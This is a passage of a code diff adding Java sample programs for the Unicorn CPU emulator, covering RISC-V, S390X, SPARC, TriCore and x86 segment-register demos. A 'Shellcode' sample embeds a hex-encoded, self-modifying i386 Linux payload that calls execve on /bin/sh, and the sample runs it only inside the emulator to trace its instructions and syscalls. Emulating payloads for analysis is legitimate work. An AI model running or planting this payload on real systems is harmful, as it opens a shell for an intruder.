(uc, address, size, user_data) -> {
System.out.format(
">>> Tracing instruction at 0x%x, instruction size = 0x%x\n",
address, size);
};
private static final CodeHook hook_code3 =
(uc, address, size, user_data) -> {
System.out.format(
">>> Tracing instruction at 0x%x, instruction size = 0x%x\n",
address, size);
if (address == ADDRESS) {
System.out.println("stop emulation");
uc.emu_stop();
}
};
/*
00813823 sd s0,16(sp)
00000013 nop
*/
private static final byte[] CODE64 = Utils.hexToBytes("2338810013000000");
// 10000: 00008067 ret
// 10004: 8082 c.ret
// 10006: 0001 nop
// 10008: 0001 nop
private static final byte[] FUNC_CODE =
Utils.hexToBytes("67800000828001000100");
public static void test_riscv() {
long a0 = 0x1234L;
long a1 = 0x7890L;
System.out.println("Emulate RISCV code");
// Initialize emulator in RISCV64 mode
Unicorn uc = new Unicorn(UC_ARCH_RISCV, UC_MODE_RISCV32);
// map 2MB memory for this emulation
uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
// write machine code to be emulated to memory
uc.mem_write(ADDRESS, CODE);
// initialize machine registers
uc.reg_write(UC_RISCV_REG_A0, a0);
uc.reg_write(UC_RISCV_REG_A1, a1);
// tracing all basic blocks with customized callback
uc.hook_add(hook_block, 1, 0, null);
// tracing all instruction
uc.hook_add(hook_code, 1, 0, null);
// emulate machine code in infinite time (last param = 0), or when
// finishing all the code.
uc.emu_start(ADDRESS, ADDRESS + CODE.length, 0, 0);
// now print out some registers
System.out.println(">>> Emulation done. Below is the CPU context");
System.out.format(">>> A0 = 0x%x\n", uc.reg_read(UC_RISCV_REG_A0));
System.out.format(">>> A1 = 0x%x\n", uc.reg_read(UC_RISCV_REG_A1));
}
public static void test_riscv2() {
long a0 = 0x1234L;
long a1 = 0x7890L;
System.out.println("Emulate RISCV code: split emulation");
// Initialize emulator in RISCV64 mode
Unicorn uc = new Unicorn(UC_ARCH_RISCV, UC_MODE_RISCV32);
// map 2MB memory for this emulation
uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
// write machine code to be emulated to memory
uc.mem_write(ADDRESS, CODE);
// initialize machine registers
uc.reg_write(UC_RISCV_REG_A0, a0);
uc.reg_write(UC_RISCV_REG_A1, a1);
// tracing all basic blocks with customized callback
uc.hook_add(hook_block, 1, 0, null);
// tracing all instruction
uc.hook_add(hook_code, 1, 0, null);
// emulate 1 instruction
uc.emu_start(ADDRESS, ADDRESS + 4, 0, 0);
System.out.format(">>> A0 = 0x%x\n", uc.reg_read(UC_RISCV_REG_A0));
System.out.format(">>> A1 = 0x%x\n", uc.reg_read(UC_RISCV_REG_A1));
// emulate one more instruction
uc.emu_start(ADDRESS + 4, ADDRESS + 8, 0, 0);
// now print out some registers
System.out.println(">>> Emulation done. Below is the CPU context");
System.out.format(">>> A0 = 0x%x\n", uc.reg_read(UC_RISCV_REG_A0));
System.out.format(">>> A1 = 0x%x\n", uc.reg_read(UC_RISCV_REG_A1));
}
public static void test_riscv3() {
long a0 = 0x1234L;
long a1 = 0x7890L;
System.out.println("Emulate RISCV code: early stop");
// Initialize emulator in RISCV64 mode
Unicorn uc = new Unicorn(UC_ARCH_RISCV, UC_MODE_RISCV32);
// map 2MB memory for this emulation
uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
// write machine code to be emulated to memory
uc.mem_write(ADDRESS, CODE);
// initialize machine registers
uc.reg_write(UC_RISCV_REG_A0, a0);
uc.reg_write(UC_RISCV_REG_A1, a1);
// tracing all basic blocks with customized callback
uc.hook_add(hook_block, 1, 0, null);
// tracing all instruction
uc.hook_add(hook_code3, 1, 0, null);
// emulate machine code in infinite time (last param = 0), or when
// finishing all the code.
uc.emu_start(ADDRESS, ADDRESS + CODE.length, 0, 0);
// now print out some registers
System.out.println(">>> Emulation done. Below is the CPU context");
System.out.format(">>> A0 = 0x%x\n", uc.reg_read(UC_RISCV_REG_A0));
System.out.format(">>> A1 = 0x%x\n", uc.reg_read(UC_RISCV_REG_A1));
}
public static void test_riscv_step() {
long a0 = 0x1234L;
long a1 = 0x7890L;
long pc = 0x0000L;
System.out.println("Emulate RISCV code: step");
// Initialize emulator in RISCV64 mode
Unicorn uc = new Unicorn(UC_ARCH_RISCV, UC_MODE_RISCV32);
// map 2MB memory for this emulation
uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
// write machine code to be emulated to memory
uc.mem_write(ADDRESS, CODE);
// initialize machine registers
uc.reg_write(UC_RISCV_REG_A0, a0);
uc.reg_write(UC_RISCV_REG_A1, a1);
// tracing all basic blocks with customized callback
uc.hook_add(hook_block, 1, 0, null);
// tracing all instruction
uc.hook_add(hook_code, 1, 0, null);
// emulate 1 instruction
uc.emu_start(ADDRESS, ADDRESS + CODE.length, 0, 1);
pc = uc.reg_read(UC_RISCV_REG_PC);
System.out.format(">>> A0 = 0x%x\n", uc.reg_read(UC_RISCV_REG_A0));
System.out.format(">>> A1 = 0x%x\n", uc.reg_read(UC_RISCV_REG_A1));
if (pc != 0x10004) {
System.out.format(
"Error after step: PC is: 0x%x, expected was 0x10004\n", pc);
}
// emulate one more instruction
uc.emu_start(ADDRESS + 4, ADDRESS + 8, 0, 0);
// now print out some registers
System.out.println(">>> Emulation done. Below is the CPU context");
System.out.format(">>> A0 = 0x%x\n", uc.reg_read(UC_RISCV_REG_A0));
System.out.format(">>> A1 = 0x%x\n", uc.reg_read(UC_RISCV_REG_A1));
}
public static void test_riscv_timeout() {
long a0 = 0x1234L;
long a1 = 0x7890L;
long pc = 0x0000L;
System.out.println("Emulate RISCV code: timeout");
// Initialize emulator in RISCV64 mode
Unicorn uc = new Unicorn(UC_ARCH_RISCV, UC_MODE_RISCV32);
// map 2MB memory for this emulation
uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
// write machine code to be emulated to memory
// TODO(nneonneo): what code was meant to go here? sample_riscv.c
// has all zeros, but that just crashes without running into the
// timeout...
uc.mem_write(ADDRESS, new byte[8]);
// initialize machine registers
uc.reg_write(UC_RISCV_REG_A0, a0);
uc.reg_write(UC_RISCV_REG_A1, a1);
// tracing all basic blocks with customized callback
uc.hook_add(hook_block, 1, 0, null);
// tracing all instruction
uc.hook_add(hook_code, 1, 0, null);
// emulate 1 instruction with timeout
uc.emu_start(ADDRESS, ADDRESS + 4, 1000, 1);
pc = uc.reg_read(UC_RISCV_REG_PC);
if (pc != 0x10000) {
System.out.format(
"Error after step: PC is: 0x%x, expected was 0x10004\n", pc);
}
// emulate 1 instruction with timeout
uc.emu_start(ADDRESS, ADDRESS + 4, 1000, 1);
pc = uc.reg_read(UC_RISCV_REG_PC);
if (pc != 0x10000) {
System.out.format(
"Error after step: PC is: 0x%x, expected was 0x10004\n", pc);
}
// now print out some registers
System.out.println(">>> Emulation done");
}
public static void test_riscv_sd64() {
long reg;
System.out.println("Emulate RISCV code: sd64 instruction");
// Initialize emulator in RISCV64 mode
Unicorn uc = new Unicorn(UC_ARCH_RISCV, UC_MODE_RISCV64);
// map 2MB memory for this emulation
uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
// write machine code to be emulated to memory
uc.mem_write(ADDRESS, CODE64);
// tracing all basic blocks with customized callback
uc.hook_add(hook_block, 1, 0, null);
// tracing all instruction
uc.hook_add(hook_code, 1, 0, null);
reg = ADDRESS + 0x100;
uc.reg_write(UC_RISCV_REG_SP, reg);
reg = 0x11223344;
uc.reg_write(UC_RISCV_REG_S0, reg);
// execute instruction
uc.emu_start(0x10000, -1, 0, 1);
// now print out some registers
System.out.println(">>> Emulation done.");
}
private static final EventMemHook hook_memalloc =
(uc, type, address, size, value, user_data) -> {
long aligned_address = address & ~0xFFFL;
int aligned_size = ((int) (size / 0x1000) + 1) * 0x1000;
System.out.format(
">>> Allocating block at 0x%x (0x%x), block size = 0x%x (0x%x)\n",
address, aligned_address, size, aligned_size);
uc.mem_map(aligned_address, aligned_size, UC_PROT_ALL);
// this recovers from missing memory, so we return true
return true;
};
public static void test_recover_from_illegal() {
long a0 = 0x1234L;
long a1 = 0x7890L;
System.out.println("Emulate RISCV code: recover_from_illegal");
// Initialize emulator in RISCV64 mode
Unicorn uc = new Unicorn(UC_ARCH_RISCV, UC_MODE_RISCV64);
uc.reg_write(UC_RISCV_REG_A0, a0);
uc.reg_write(UC_RISCV_REG_A1, a1);
// map 2MB memory for this emulation
uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
// auto-allocate memory on access
uc.hook_add(hook_memalloc, UC_HOOK_MEM_UNMAPPED, 1, 0, null);
// tracing all basic blocks with customized callback
uc.hook_add(hook_block, 1, 0, null);
// tracing all instruction
uc.hook_add(hook_code, 1, 0, null);
// write machine code to be emulated to memory
uc.mem_write(ADDRESS, CODE);
// emulate 1 instruction, wrong address, illegal code
try {
uc.emu_start(0x1000, -1, 0, 1);
throw new RuntimeException("emu_start should have failed!");
} catch (UnicornException e) {
System.out.println("Expected Illegal Instruction error, got: " + e);
}
// emulate 1 instruction, correct address, valid code
uc.emu_start(ADDRESS, -1, 0, 1);
// now print out some registers
System.out.println(">>> Emulation done. Below is the CPU context");
System.out.format(">>> A0 = 0x%x\n", uc.reg_read(UC_RISCV_REG_A0));
System.out.format(">>> A1 = 0x%x\n", uc.reg_read(UC_RISCV_REG_A1));
}
public static void test_riscv_func_return() {
long pc = 0, ra = 0;
System.out.println("Emulate RISCV code: return from func");
// Initialize emulator in RISCV64 mode
Unicorn uc = new Unicorn(UC_ARCH_RISCV, UC_MODE_RISCV64);
// map 2MB memory for this emulation
uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
// write machine code to be emulated to memory
uc.mem_write(ADDRESS, FUNC_CODE);
// tracing all basic blocks with customized callback
uc.hook_add(hook_block, 1, 0, null);
// tracing all instruction
uc.hook_add(hook_code, 1, 0, null);
// set return address register
// RET instruction will return to address in RA
// so after RET, PC == RA
ra = 0x10006;
uc.reg_write(UC_RISCV_REG_RA, ra);
// execute ret instruction
uc.emu_start(0x10000, -1, 0, 1);
pc = uc.reg_read(UC_RISCV_REG_PC);
if (pc != ra) {
System.out.format(
"Error after execution: PC is: 0x%x, expected was 0x%x\n",
pc, ra);
if (pc == 0x10000) {
System.out.println(" PC did not change during execution");
}
} else {
System.out.println("Good, PC == RA");
}
// set return address register
// C.RET instruction will return to address in RA
// so after C.RET, PC == RA
ra = 0x10006;
uc.reg_write(UC_RISCV_REG_RA, ra);
System.out.println("========");
// execute c.ret instruction
uc.emu_start(0x10004, -1, 0, 1);
pc = uc.reg_read(UC_RISCV_REG_PC);
if (pc != ra) {
System.out.format(
"Error after execution: PC is: 0x%x, expected was 0x%x\n",
pc, ra);
if (pc == 0x10004) {
System.out.println(" PC did not change during execution");
}
} else {
System.out.println("Good, PC == RA");
}
// now print out some registers
System.out.println(">>> Emulation done.");
}
public static final void main(String[] args) {
test_recover_from_illegal();
System.out.println("------------------");
test_riscv();
System.out.println("------------------");
test_riscv2();
System.out.println("------------------");
test_riscv3();
System.out.println("------------------");
test_riscv_step();
// System.out.println("------------------");
// test_riscv_timeout();
System.out.println("------------------");
test_riscv_sd64();
System.out.println("------------------");
test_riscv_func_return();
}
}

View File

@@ -0,0 +1,88 @@
/*
Java bindings for the Unicorn Emulator Engine
Copyright(c) 2023 Robert Xiao
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
/* Sample code to demonstrate how to emulate S390X code */
package samples;
import unicorn.*;
public class Sample_s390x implements UnicornConst, S390xConst {
/** code to be emulated:
* {@code lr %r2, %r3}
*/
private static final byte[] CODE = Utils.hexToBytes("1823");
// memory address where emulation starts
private static final long ADDRESS = 0x10000;
private static final BlockHook hook_block =
(uc, address, size, user_data) -> {
System.out.format(
">>> Tracing basic block at 0x%x, block size = 0x%x\n",
address, size);
};
private static final CodeHook hook_code =
(uc, address, size, user_data) -> {
System.out.format(
">>> Tracing instruction at 0x%x, instruction size = 0x%x\n",
address, size);
};
public static void test_s390x() {
long r2 = 2, r3 = 3;
System.out.println("Emulate S390X code");
Unicorn uc = new Unicorn(UC_ARCH_S390X, UC_MODE_BIG_ENDIAN);
// map 2MB memory for this emulation
uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
// write machine code to be emulated to memory
uc.mem_write(ADDRESS, CODE);
// initialize machine registers
uc.reg_write(UC_S390X_REG_R2, r2);
uc.reg_write(UC_S390X_REG_R3, r3);
// tracing all basic blocks with customized callback
uc.hook_add(hook_block, 1, 0, null);
// tracing one instruction at ADDRESS with customized callback
uc.hook_add(hook_code, ADDRESS, ADDRESS + CODE.length, null);
// emulate machine code in infinite time (last param = 0), or when
// finishing all the code.
uc.emu_start(ADDRESS, ADDRESS + CODE.length, 0, 0);
// now print out some registers
System.out.println(">>> Emulation done. Below is the CPU context");
System.out.format(">>> R2 = 0x%x\t\t>>> R3 = 0x%x\n",
uc.reg_read(UC_S390X_REG_R2), uc.reg_read(UC_S390X_REG_R3));
}
public static final void main(String[] args) {
test_s390x();
}
}

View File

@@ -0,0 +1,95 @@
/*
Java bindings for the Unicorn Emulator Engine
Copyright(c) 2015 Chris Eagle
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
/* Unicorn Emulator Engine */
/* By Nguyen Anh Quynh, 2015 */
/* Sample code to demonstrate how to emulate Sparc code */
package samples;
import unicorn.*;
public class Sample_sparc implements UnicornConst, SparcConst {
/** code to be emulated:
* {@code add %g1, %g2, %g3}
*/
private static final byte[] SPARC_CODE = Utils.hexToBytes("86004002");
//public static final byte[] SPARC_CODE = Utils.hexToBytes("bb700000"); //illegal code
// memory address where emulation starts
private static final int ADDRESS = 0x10000;
private static final BlockHook hook_block =
(uc, address, size, user_data) -> {
System.out.format(
">>> Tracing basic block at 0x%x, block size = 0x%x\n",
address, size);
};
private static final CodeHook hook_code =
(uc, address, size, user_data) -> {
System.out.format(
">>> Tracing instruction at 0x%x, instruction size = 0x%x\n",
address, size);
};
public static void test_sparc() {
long g1 = 0x1230L; // G1 register
long g2 = 0x6789L; // G2 register
long g3 = 0x5555L; // G3 register
System.out.print("Emulate SPARC code\n");
// Initialize emulator in Sparc mode
Unicorn u = new Unicorn(UC_ARCH_SPARC, UC_MODE_32 | UC_MODE_BIG_ENDIAN);
// map 2MB memory for this emulation
u.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
// write machine code to be emulated to memory
u.mem_write(ADDRESS, SPARC_CODE);
// initialize machine registers
u.reg_write(UC_SPARC_REG_G1, g1);
u.reg_write(UC_SPARC_REG_G2, g2);
u.reg_write(UC_SPARC_REG_G3, g3);
// tracing all basic blocks with customized callback
u.hook_add(hook_block, 1, 0, null);
// tracing one instruction at ADDRESS with customized callback
u.hook_add(hook_code, ADDRESS, ADDRESS, null);
// emulate machine code in infinite time (last param = 0), or when
// finishing all the code.
u.emu_start(ADDRESS, ADDRESS + SPARC_CODE.length, 0, 0);
// now print out some registers
System.out.print(">>> Emulation done. Below is the CPU context\n");
System.out.format(">>> G3 = 0x%x\n", u.reg_read(UC_SPARC_REG_G3));
}
public static void main(String args[]) {
test_sparc();
}
}

View File

@@ -0,0 +1,84 @@
/*
Java bindings for the Unicorn Emulator Engine
Copyright(c) 2023 Robert Xiao
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
/* Sample code to demonstrate how to emulate TriCore code
* Ported from the C version originally by Eric Poole <eric.poole@aptiv.com>, 2022
*/
package samples;
import unicorn.*;
public class Sample_tricore implements UnicornConst, TriCoreConst {
/** code to be emulated:
* {@code mov d1, #0x1; mov.u d0, #0x8000}
*/
private static final byte[] CODE = Utils.hexToBytes("8211bb000008");
// memory address where emulation starts
private static final long ADDRESS = 0x10000;
private static final BlockHook hook_block =
(uc, address, size, user_data) -> {
System.out.format(
">>> Tracing basic block at 0x%x, block size = 0x%x\n",
address, size);
};
private static final CodeHook hook_code =
(uc, address, size, user_data) -> {
System.out.format(
">>> Tracing instruction at 0x%x, instruction size = 0x%x\n",
address, size);
};
public static void test_tricore() {
System.out.println("Emulate TriCore code");
Unicorn uc = new Unicorn(UC_ARCH_TRICORE, UC_MODE_LITTLE_ENDIAN);
// map 2MB memory for this emulation
uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
// write machine code to be emulated to memory
uc.mem_write(ADDRESS, CODE);
// tracing all basic blocks with customized callback
uc.hook_add(hook_block, 1, 0, null);
// tracing one instruction at ADDRESS with customized callback
uc.hook_add(hook_code, ADDRESS, ADDRESS + CODE.length, null);
// emulate machine code in infinite time (last param = 0), or when
// finishing all the code.
uc.emu_start(ADDRESS, ADDRESS + CODE.length, 0, 0);
// now print out some registers
System.out.println(">>> Emulation done. Below is the CPU context");
System.out.format(">>> d0 = 0x%x\n", uc.reg_read(UC_TRICORE_REG_D0));
System.out.format(">>> d1 = 0x%x\n", uc.reg_read(UC_TRICORE_REG_D1));
}
public static final void main(String[] args) {
test_tricore();
}
}

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,239 @@
/*
Java bindings for the Unicorn Emulator Engine
Copyright(c) 2016 Chris Eagle
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
/* Sample code to demonstrate how to register read/write API */
package samples;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import java.util.Arrays;
import unicorn.*;
public class Sample_x86_mmr implements UnicornConst, X86Const {
private static final MemHook hook_mem =
(uc, type, address, size, value, user_data) -> {
switch (type) {
case UC_MEM_WRITE:
System.out.format(
"mem write at 0x%x, size = %d, value = 0x%x\n",
address, size, value);
break;
default:
break;
}
};
private static final CodeHook hook_code =
(uc, address, size, user_data) -> {
System.out.format("Executing at 0x%x, ilen = 0x%x\n", address,
size);
};
public static class SegmentDescriptor {
public static final int BYTES = 8;
int base;
int limit;
byte type; // 4 bits
byte system; // 1 bit: S flag
byte dpl; // 2 bits
byte present; // 1 bit: P flag
byte avail; // 1 bit
byte is_64_code; // 1 bit: L flag
byte db; // 1 bit: DB flag
byte granularity; // 1 bit: G flag
public SegmentDescriptor() {
}
// VERY basic descriptor init function, sets many fields to user space sane
// defaults
public SegmentDescriptor(int base, int limit, boolean is_code) {
this.base = base;
if (limit > 0xfffff) {
// need Giant granularity
limit >>= 12;
this.granularity = 1;
}
this.limit = limit;
// some sane defaults
this.dpl = 3;
this.present = 1;
this.db = 1; // 32 bit
this.type = is_code ? (byte) 0xb : 3;
this.system = 1; // code or data
}
public void appendToBuffer(ByteBuffer buf) {
buf.putShort((short) limit);
buf.putShort((short) base);
buf.put((byte) (base >>> 16));
buf.put(
(byte) (type | (system << 4) | (dpl << 5) | (present << 7)));
buf.put((byte) (((limit >>> 16) & 0xf) | (avail << 4) |
(is_64_code << 5) | (db << 6) | (granularity << 7)));
buf.put((byte) (base >>> 24));
}
}
public static void test_x86_mmr() {
System.out.println("Test x86 MMR read/write");
// Initialize emulator in X86-32bit mode
Unicorn uc = new Unicorn(UC_ARCH_X86, UC_MODE_32);
// map 4k
uc.mem_map(0x400000, 0x1000, UC_PROT_ALL);
X86_MMR ldtr1 = new X86_MMR(0x1111111122222222L, 0x33333333, 0x44444444,
(short) 0x5555);
X86_MMR ldtr2;
X86_MMR gdtr1 = new X86_MMR(0x6666666677777777L, 0x88888888, 0x99999999,
(short) 0xaaaa);
X86_MMR gdtr2;
long eax;
// initialize machine registers
uc.reg_write(UC_X86_REG_LDTR, ldtr1);
uc.reg_write(UC_X86_REG_GDTR, gdtr1);
uc.reg_write(UC_X86_REG_EAX, 0xddddddddL);
// read the registers back out
eax = uc.reg_read(UC_X86_REG_EAX);
ldtr2 = (X86_MMR) uc.reg_read(UC_X86_REG_LDTR, null);
gdtr2 = (X86_MMR) uc.reg_read(UC_X86_REG_GDTR, null);
System.out.printf(">>> EAX = 0x%x\n", eax);
System.out.printf(">>> LDTR.base = 0x%x\n", ldtr2.base);
System.out.printf(">>> LDTR.limit = 0x%x\n", ldtr2.limit);
System.out.printf(">>> LDTR.flags = 0x%x\n", ldtr2.flags);
System.out.printf(">>> LDTR.selector = 0x%x\n\n", ldtr2.selector);
System.out.printf(">>> GDTR.base = 0x%x\n", gdtr2.base);
System.out.printf(">>> GDTR.limit = 0x%x\n", gdtr2.limit);
}
public static void gdt_demo() {
System.out.println("Demonstrate GDT usage");
/*
bits 32
push dword 0x01234567
push dword 0x89abcdef
mov dword [fs:0], 0x01234567
mov dword [fs:4], 0x89abcdef
*/
final byte[] code =
Utils.hexToBytes("686745230168efcdab8964c70500000000" +
"6745230164c70504000000efcdab89");
final long code_address = 0x1000000L;
final long stack_address = 0x120000L;
final long gdt_address = 0xc0000000L;
final long fs_address = 0x7efdd000L;
SegmentDescriptor[] gdt = new SegmentDescriptor[31];
int r_esp = (int) stack_address + 0x1000; // initial esp
int r_cs = 0x73;
int r_ss = 0x88; // ring 0
int r_ds = 0x7b;
int r_es = 0x7b;
int r_fs = 0x83;
X86_MMR gdtr =
new X86_MMR(gdt_address, gdt.length * SegmentDescriptor.BYTES - 1);
gdt[14] = new SegmentDescriptor(0, 0xfffff000, true); // code segment
gdt[15] = new SegmentDescriptor(0, 0xfffff000, false); // data segment
gdt[16] = new SegmentDescriptor((int) fs_address, 0xfff, false); // one page data segment simulate fs
gdt[17] = new SegmentDescriptor(0, 0xfffff000, false); // ring 0 data
gdt[17].dpl = 0; // set descriptor privilege level
// Initialize emulator in X86-32bit mode
Unicorn uc = new Unicorn(UC_ARCH_X86, UC_MODE_32);
uc.hook_add(hook_code, code_address, code_address + code.length, null);
uc.hook_add(hook_mem, UC_HOOK_MEM_WRITE, 1, 0, null);
// map 1 page of code for this emulation
uc.mem_map(code_address, 0x1000, UC_PROT_ALL);
// map 1 page of stack for this emulation
uc.mem_map(stack_address, 0x1000, UC_PROT_READ | UC_PROT_WRITE);
// map 64k for a GDT
uc.mem_map(gdt_address, 0x10000, UC_PROT_WRITE | UC_PROT_READ);
// set up a GDT BEFORE you manipulate any segment registers
uc.reg_write(UC_X86_REG_GDTR, gdtr);
// write gdt to be emulated to memory
ByteBuffer gdt_buf =
ByteBuffer.allocate(gdt.length * SegmentDescriptor.BYTES)
.order(ByteOrder.LITTLE_ENDIAN);
for (SegmentDescriptor desc : gdt) {
if (desc == null) {
gdt_buf.put(new byte[SegmentDescriptor.BYTES]);
} else {
desc.appendToBuffer(gdt_buf);
}
}
uc.mem_write(gdt_address, gdt_buf.array());
// map 1 page for FS
uc.mem_map(fs_address, 0x1000, UC_PROT_WRITE | UC_PROT_READ);
// write machine code to be emulated to memory
uc.mem_write(code_address, code);
// initialize machine registers
uc.reg_write(UC_X86_REG_ESP, r_esp);
// when setting SS, need rpl == cpl && dpl == cpl
// emulator starts with cpl == 0, so we need a dpl 0 descriptor and rpl 0
// selector
uc.reg_write(UC_X86_REG_SS, r_ss);
uc.reg_write(UC_X86_REG_CS, r_cs);
uc.reg_write(UC_X86_REG_DS, r_ds);
uc.reg_write(UC_X86_REG_ES, r_es);
uc.reg_write(UC_X86_REG_FS, r_fs);
// emulate machine code in infinite time
uc.emu_start(code_address, code_address + code.length, 0, 0);
// read from memory
byte[] buf = uc.mem_read(r_esp - 8, 8);
for (int i = 0; i < 8; i++) {
System.out.format("%02x", buf[i] & 0xff);
}
System.out.println();
assert Arrays.equals(buf, Utils.hexToBytes("efcdab8967452301"));
// read from memory
buf = uc.mem_read(fs_address, 8);
assert Arrays.equals(buf, Utils.hexToBytes("67452301efcdab89"));
}
public static void main(String args[]) {
test_x86_mmr();
System.out.println("===================================");
gdt_demo();
}
}

View File

@@ -0,0 +1,145 @@
/*
Java bindings for the Unicorn Emulator Engine
Copyright(c) 2015 Chris Eagle
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
/* Unicorn Emulator Engine */
/* By Nguyen Anh Quynh & Dang Hoang Vu, 2015 */
/* Sample code to trace code with Linux code with syscall */
package samples;
import unicorn.*;
public class Shellcode implements UnicornConst, X86Const {
public static final byte[] X86_CODE32_SELF = Utils.hexToBytes(
"eb1c5a89d68b02663dca7d75066605030389" +
"02fec23d4141414175e9ffe6e8dfffffff31" +
"d26a0b589952682f2f7368682f62696e89e3" +
"525389e1ca7d4141414141414141");
// memory address where emulation starts
public static final int ADDRESS = 0x1000000;
public static CodeHook hook_code = (u, address, size, user) -> {
System.out.format(
"Tracing instruction at 0x%x, instruction size = 0x%x\n",
address, size);
long r_eip = u.reg_read(UC_X86_REG_EIP);
System.out.format("*** EIP = %x ***: ", r_eip);
byte[] tmp = u.mem_read(address, size);
for (int i = 0; i < tmp.length; i++) {
System.out.format("%x ", 0xff & tmp[i]);
}
System.out.println();
};
public static InterruptHook hook_intr = (u, intno, user) -> {
// only handle Linux syscall
if (intno != 0x80) {
return;
}
long r_eax = u.reg_read(UC_X86_REG_EAX);
long r_eip = u.reg_read(UC_X86_REG_EIP);
switch ((int) r_eax) {
default:
System.out.format(">>> 0x%x: interrupt 0x%x, EAX = 0x%x\n",
r_eip, intno, r_eax);
break;
case 1: // sys_exit
System.out.format(
">>> 0x%x: interrupt 0x%x, SYS_EXIT. quit!\n\n",
r_eip, intno);
u.emu_stop();
break;
case 4: { // sys_write
// ECX = buffer address
long r_ecx = u.reg_read(UC_X86_REG_ECX);
// EDX = buffer size
long r_edx = u.reg_read(UC_X86_REG_EDX);
// read the buffer in
int size = (int) Math.min(256, r_edx);
try {
byte[] buffer = u.mem_read(r_ecx, size);
System.out.format(
">>> 0x%x: interrupt 0x%x, SYS_WRITE. buffer = 0x%x, size = %u, content = '%s'\n",
r_eip, intno, r_ecx, r_edx, new String(buffer));
} catch (UnicornException e) {
System.out.format(
">>> 0x%x: interrupt 0x%x, SYS_WRITE. buffer = 0x%x, size = %u (cannot get content)\n",
r_eip, intno, r_ecx, r_edx);
}
break;
}
}
};
public static void test_i386() {
long r_esp = ADDRESS + 0x200000L; // ESP register
System.out.println("Emulate i386 code");
// Initialize emulator in X86-32bit mode
Unicorn u = new Unicorn(UC_ARCH_X86, UC_MODE_32);
// map 2MB memory for this emulation
u.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
// write machine code to be emulated to memory
u.mem_write(ADDRESS, X86_CODE32_SELF);
// initialize machine registers
u.reg_write(UC_X86_REG_ESP, r_esp);
// tracing all instructions by having @begin > @end
u.hook_add(hook_code, 1, 0, null);
// handle interrupt ourself
u.hook_add(hook_intr, null);
System.out.println("\n>>> Start tracing this Linux code");
// emulate machine code in infinite time
// u.emu_start(ADDRESS, ADDRESS + X86_CODE32_SELF.length, 0, 12); <--- emulate only 12 instructions
u.emu_start(ADDRESS, ADDRESS + X86_CODE32_SELF.length, 0, 0);
System.out.println("\n>>> Emulation done.");
}
public static void main(String args[]) {
if (args.length == 1) {
if ("-32".equals(args[0])) {
test_i386();
}
} else {
System.out.println("Syntax: java Shellcode <-32|-64>");
}
}
}

View File

@@ -0,0 +1,49 @@
package samples;
public class Utils {
public static byte[] hexToBytes(String s) {
int len = s.length();
byte[] data = new byte[len / 2];
for (int i = 0; i < len; i += 2) {
data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4) +
Character.digit(s.charAt(i + 1), 16));
}
return data;
}
public static final int toInt(byte val[]) {
int res = 0;
for (int i = 0; i < val.length; i++) {
int v = val[i] & 0xff;
res = res + (v << (i * 8));
}
return res;
}
public static final long toLong(byte val[]) {
long res = 0;
for (int i = 0; i < val.length; i++) {
long v = val[i] & 0xff;
res = res + (v << (i * 8));
}
return res;
}
public static final byte[] toBytes(int val) {
byte[] res = new byte[4];
for (int i = 0; i < 4; i++) {
res[i] = (byte) (val & 0xff);
val >>>= 8;
}
return res;
}
public static final byte[] toBytes(long val) {
byte[] res = new byte[8];
for (int i = 0; i < 8; i++) {
res[i] = (byte) (val & 0xff);
val >>>= 8;
}
